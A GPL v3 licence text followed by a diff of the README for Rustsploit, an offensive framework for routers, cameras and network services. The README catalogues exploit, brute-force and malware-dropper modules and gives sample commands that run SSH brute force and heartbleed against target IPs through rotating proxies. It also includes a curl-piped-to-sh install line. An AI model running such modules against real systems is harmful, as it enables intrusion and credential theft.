to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
<program> Copyright (C) <year> <name of author>
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<https://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<https://www.gnu.org/licenses/why-not-lgpl.html>.
+84 -350
View File
@@ -1,392 +1,128 @@
# Rustsploit 🛠️
# Rustsploit
Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, rich proxy support, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/preview.png)
- 📚 **Developer Docs:** [Full guide covering module lifecycle, proxy logic, shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
- 💬 **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
- 🌐 **Proxy Smartness:** Supports HTTP(S), SOCKS4/4a/5 (with hostname resolution), validation, and automatic rotation
- 🧱 **IPv4/IPv6 Ready:** Credential modules and sockets normalize targets so both address families work out-of-the-box
![Rustsploit Interactive Shell Demo](https://github.com/s-b-repo/rustsploit/raw/main/preview.png)
![Rustsploit Testing View](https://github.com/s-b-repo/rustsploit/raw/main/testing.png)
---
## Table of Contents
## 📖 Wiki & Documentation
1. [Highlights](#highlights)
2. [Module Catalog](#module-catalog)
3. [Quick Start](#quick-start)
4. [Docker Deployment](#docker-deployment)
5. [Interactive Shell Walkthrough](#interactive-shell-walkthrough)
6. [CLI Usage](#cli-usage)
7. [API Server Mode](#api-server-mode)
8. [Proxy Workflow](#proxy-workflow)
9. [How Modules Are Discovered](#how-modules-are-discovered)
10. [Contributing](#contributing)
11. [Credits](#credits)
Full documentation lives in the **[Rustsploit Wiki](docs/Home.md)**. Below is a quick index — click through for detailed guides, examples, and reference material.
| Document | Description |
|----------|-------------|
| [Getting Started](docs/Getting-Started.md) | Installation, build, quick-start, Docker deployment |
| [Interactive Shell](docs/Interactive-Shell.md) | Shell walkthrough, command palette, chaining, shortcuts |
| [CLI Reference](docs/CLI-Reference.md) | Command-line flags, non-shell usage, output formats |
| [API Server](docs/API-Server.md) | REST + WebSocket API, PQ encryption, endpoints, rate limiting |
| [API Usage Examples](docs/API-Usage-Examples.md) | Practical curl workflows, request/response samples |
| [Module Catalog](docs/Module-Catalog.md) | All modules by category — exploits, scanners, creds |
| [Module Development](docs/Module-Development.md) | How to author new modules, lifecycle, dispatcher |
| [Security & Validation](docs/Security-Validation.md) | Input validation, security patterns, honeypot detection |
| [Credential Modules Guide](docs/Credential-Modules-Guide.md) | Best practices for brute-force / cred modules |
| [Exploit Modules Guide](docs/Exploit-Modules-Guide.md) | Best practices for exploit modules |
| [Utilities & Helpers](docs/Utilities-Helpers.md) | `utils.rs` public API, target normalization, honeypot check |
| [Testing & QA](docs/Testing-QA.md) | Build checks, smoke tests, wordlist validation |
| [Changelog](docs/Changelog.md) | Release notes and version history |
| [Contributing](docs/Contributing.md) | Fork guide, PR checklist, code style |
| [Credits](docs/Credits.md) | Authors, acknowledgements, legal notice |
---
## Highlights
- **Auto-discovered modules:** `build.rs` indexes `src/modules/**` so new code drops in without manual registration
- **Interactive shell with color and shortcuts:** Quick command palette, target/module state tracking, alias commands (`help/?`, `modules/m`, `run/go`, etc.)
- **Ergonomic proxy system:** Load lists, validate availability, choose concurrency/timeouts, and rotate automatically on failure
- **Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, RDP, RTSP brute force modules with IPv6 and TLS support where applicable
- **Exploit coverage:** Apache Tomcat, Abus security cameras, Ivanti Connect Secure, TP-Link, Zabbix, Avtech cameras, Spotube, OpenSSH race condition, and more
- **Scanners & utilities:** Port scanner, ping sweep, SSDP discovery, HTTP title grabber, StalkRoute traceroute (root), sample modules for extension
- **Payload generation:** Batch malware dropper (`narutto_dropper`), BAT payload generator, custom credential checkers
- **Readable output:** Colored prompts, structured status messages, optional verbose logs and result persistence
- **REST API Server:** Launch a secure API server with authentication, rate limiting, IP tracking, and dynamic key rotation
---
## Module Catalog
Rustsploit ships categorized modules under `src/modules/`, automatically exposed to the shell/CLI. A non-exhaustive snapshot:
| Category | Highlights |
|----------|------------|
| `creds/generic` | FTP anonymous & FTPS brute force, SSH brute force, Telnet brute force, POP3(S) brute force, SMTP brute force, RTSP brute force (path + header bruting), RDP auth-only brute |
| `exploits/*` | Apache Tomcat (CVE-2025-24813 RCE, CatKiller CVE-2025-31650), TP-Link VN020 / WR740N DoS, Abus camera CVE-2023-26609 variants, Ivanti Connect Secure stack buffer overflow, Zabbix 7.0.0 SQLi, Avtech CVE-2024-7029, Spotube zero-day, OpenSSH 9.8p1 race condition, Uniview password disclosure, ACTi camera RCE |
| `scanners` | Port scanner, ping sweep, SSDP M-SEARCH enumerator, HTTP title fetcher, DNS recursion/amplification tester, StalkRoute traceroute (firewall evasion) |
| `payloadgens` | `narutto_dropper`, BAT payload generator |
| `lists` | RTSP wordlists and helper files |
Run `modules` or `find <keyword>` in the shell for the authoritative list.
- **Auto-discovered modules:** `build.rs` indexes `src/modules/**` — drop in new code, no manual registration needed
- **Interactive shell:** 40+ commands with shortcuts, command chaining (`&`), tab completion, and command history
- **Module metadata:** Optional `info()` and `check()` functions per module — CVE references, author, rank, non-destructive vulnerability verification
- **Global options (`setg`):** Persistent key-value settings that apply across all modules — like Metasploit's datastore
- **Credential store:** Track discovered credentials across sessions with `creds` commands and JSON persistence
- **Host/service tracking:** Workspace-based engagement tracking with `hosts`, `services`, `notes` commands
- **Loot management:** Structured evidence collection with file storage and metadata indexing
- **Resource scripts:** Automate workflows from files, auto-load startup scripts, save command history with `makerc`
- **Background jobs:** Run modules asynchronously with `run -j`, manage with `jobs` commands
- **Export/reporting:** Export all engagement data to JSON, CSV, or human-readable summary reports
- **Console logging:** `spool` command captures all output to file for documentation
- **Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, IMAP, RDP, RTSP, SNMP, L2TP, MQTT, VNC, MySQL, PostgreSQL, Redis, CouchDB, Elasticsearch, Memcached, HTTP Basic, Proxy, Fortinet — with IPv6 and TLS support
- **Exploit coverage:** CVEs for VNC (LibVNC, TigerVNC, TightVNC, x11vnc), honeypots (Cowrie, Dionaea, HoneyTrap, SNARE), WAFs (SafeLine), Apache Camel, Kubernetes ingress-nginx, Commvault, MISP, Zimbra, Next.js, Vite, and 100+ more
- **Scanners & utilities:** Port scanner, ping sweep, SSDP, HTTP title grabber, DNS recursion tester, directory bruteforcer, sequential fuzzer, proxy scanner, reflect scanner, vulnerability checker
- **API server:** PQ-encrypted WebSocket transport — post-quantum cryptography, full CRUD for credentials, hosts, services, loot, jobs
- **MCP server:** 38-tool Model Context Protocol server for AI-assisted pentesting via stdio
- **Plugin system:** Third-party modules via `src/modules/plugins/` with build-time discovery and startup safety warnings
- **Security hardened:** Input validation, path traversal protection, honeypot detection, root privilege checks, spool symlink protection, memory-safe operations
- **IPv4/IPv6 ready:** Both address families work out-of-the-box across all modules
---
## Quick Start
### Requirements
**One command** (Debian/Ubuntu/Kali):
```bash
sudo apt update
sudo apt install freerdp2-x11 # Required for the RDP brute force module
sudo apt update && sudo apt install -y build-essential pkg-config libssl-dev libdbus-1-dev cmake && (command -v cargo > /dev/null 2>&1 || (curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y && . "$HOME/.cargo/env")) && git clone https://github.com/s-b-repo/rustsploit.git && cd rustsploit && cargo run
```
## How to turn Bluetooth OFF (e.g. on FreeBSD without Bluetooth hardware):
```
cargo build --no-default-features
```
## or
```
cargo run --no-default-features
```
## How to turn Bluetooth ON
```
cargo build --features bluetooth
```
## or
```
cargo run --features bluetooth
```
Ensure Rust and Cargo are installed (https://www.rust-lang.org/tools/install).
<details>
<summary>What each dependency does</summary>
### Clone + Build
| Package | Required by | Why |
|---------|------------|-----|
| `build-essential` | Native crate compilation | gcc, make, libc headers |
| `pkg-config` | `native-tls`, `ssh2` | Finds system libraries at build time |
| `libssl-dev` | `native-tls`, `ssh2` | OpenSSL headers for TLS and SSH |
| `libdbus-1-dev` | `btleplug` | D-Bus IPC for Bluetooth scanning |
| `cmake` | `ssh2` (libssh2-sys) | Builds libssh2 from source |
```bash
git clone https://github.com/s-b-repo/rustsploit.git
cd rustsploit
cargo build
```
### Run (Interactive Shell)
</details>
```bash
cargo run
```
### Install (optional)
```bash
cargo install --path .
```
For other distros (Arch, Gentoo, Fedora), Docker deployment, and one-liner installs, see **[Getting Started](docs/Getting-Started.md)**.
---
## Docker Deployment
## Quick Navigation
Rustsploit ships with a standalone provisioning script that builds and launches the API inside Docker (mirroring the multi-stage workflow used in vxcontrol/pentagi).
### Requirements
- Docker Engine 24+ (or Docker Desktop)
- Docker Compose plugin (`docker compose`) or legacy `docker-compose`
- Python 3.8+
### Interactive Setup
```bash
python3 scripts/setup_docker.py
```
The helper will:
1. Confirm you are in the repository root (`Cargo.toml` present).
2. Ask how the API should bind (`127.0.0.1`, `0.0.0.0`, detected LAN IP, or custom host:port).
3. Let you enter or auto-generate an API key (printable ASCII, 128 chars max).
4. Toggle hardening mode and tune the IP limit if desired.
5. Generate:
- `docker/Dockerfile.api` (build + serve stages)
- `docker/entrypoint.sh` (passes CLI flags / hardening state)
- `.env.rustsploit-docker` (API key, bind address, hardening settings)
- `docker-compose.rustsploit.yml`
6. Optionally run `docker compose up -d --build` with BuildKit enabled.
Existing files are never overwritten without confirmation (use `--force` for scripted deployments).
### Non-Interactive / CI Usage
All prompts have CLI equivalents:
```bash
python3 scripts/setup_docker.py \
--bind 0.0.0.0:8443 \
--generate-key \
--enable-hardening \
--ip-limit 5 \
--skip-up \
--force \
--non-interactive
```
This produces the Docker assets but skips the compose launch. To start the stack later:
```bash
docker compose -f docker-compose.rustsploit.yml up -d --build
```
Environment variables are written with 0600 permissions so secrets stay private. Re-run the script any time you want to regenerate artefacts or rotate the API key.
- **New user?** → [Getting Started](docs/Getting-Started.md)
- **Writing a module?** → [Module Development](docs/Module-Development.md)
- **Using the API?** → [API Server](docs/API-Server.md) + [API Usage Examples](docs/API-Usage-Examples.md)
- **Running from CLI?** → [CLI Reference](docs/CLI-Reference.md)
- **Full module list?** → [Module Catalog](docs/Module-Catalog.md)
---
## Interactive Shell Walkthrough
## Private Internet Recommendations
The shell tracks current module, target, and proxy state. All commands are case-insensitive and support aliases:
```text
RustSploit Command Palette
Command Shortcuts Description
--------------- ------------------------- ------------------------------
help help | h | ? Show this screen
modules modules | ls | m List discovered modules
find find <kw> | f1 <kw> Search modules by keyword
use use <path> | u <path> Select module (ex: u exploits/heartbleed)
set target set target <value> Set current target (IPv4/IPv6/hostname)
run run | go Execute current module (honors proxy mode)
proxy_load proxy_load [file] | pl Load proxies from file (HTTP/HTTPS/SOCKS)
proxy_on/off proxy_on | pon / ... Toggle proxy usage
proxy_test proxy_test | ptest Validate proxies (URL, timeout, concurrency)
show_proxies show_proxies | proxies View proxy status
exit exit | quit | q Leave shell
```
Example session:
```text
rsf> f1 ssh
rsf> u creds/generic/ssh_bruteforce
rsf> set target 10.10.10.10
rsf> pl data/proxies.txt # prompts if omitted
rsf> pon
rsf> proxy_test # optional validation / filtering
rsf> go
```
If proxy mode is enabled, Rustsploit rotates through validated proxies, falls back to direct mode only after exhaustion, and politely reports successes or errors.
---
## CLI Usage
Modules can be executed without the shell using the `--command`, `--module`, and `--target` flags:
```bash
# Exploit
cargo run -- --command exploit --module heartbleed --target 192.168.1.1
# Scanner
cargo run -- --command scanner --module port_scanner --target 192.168.1.1
# Credentials
cargo run -- --command creds --module ssh_bruteforce --target 192.168.1.1
```
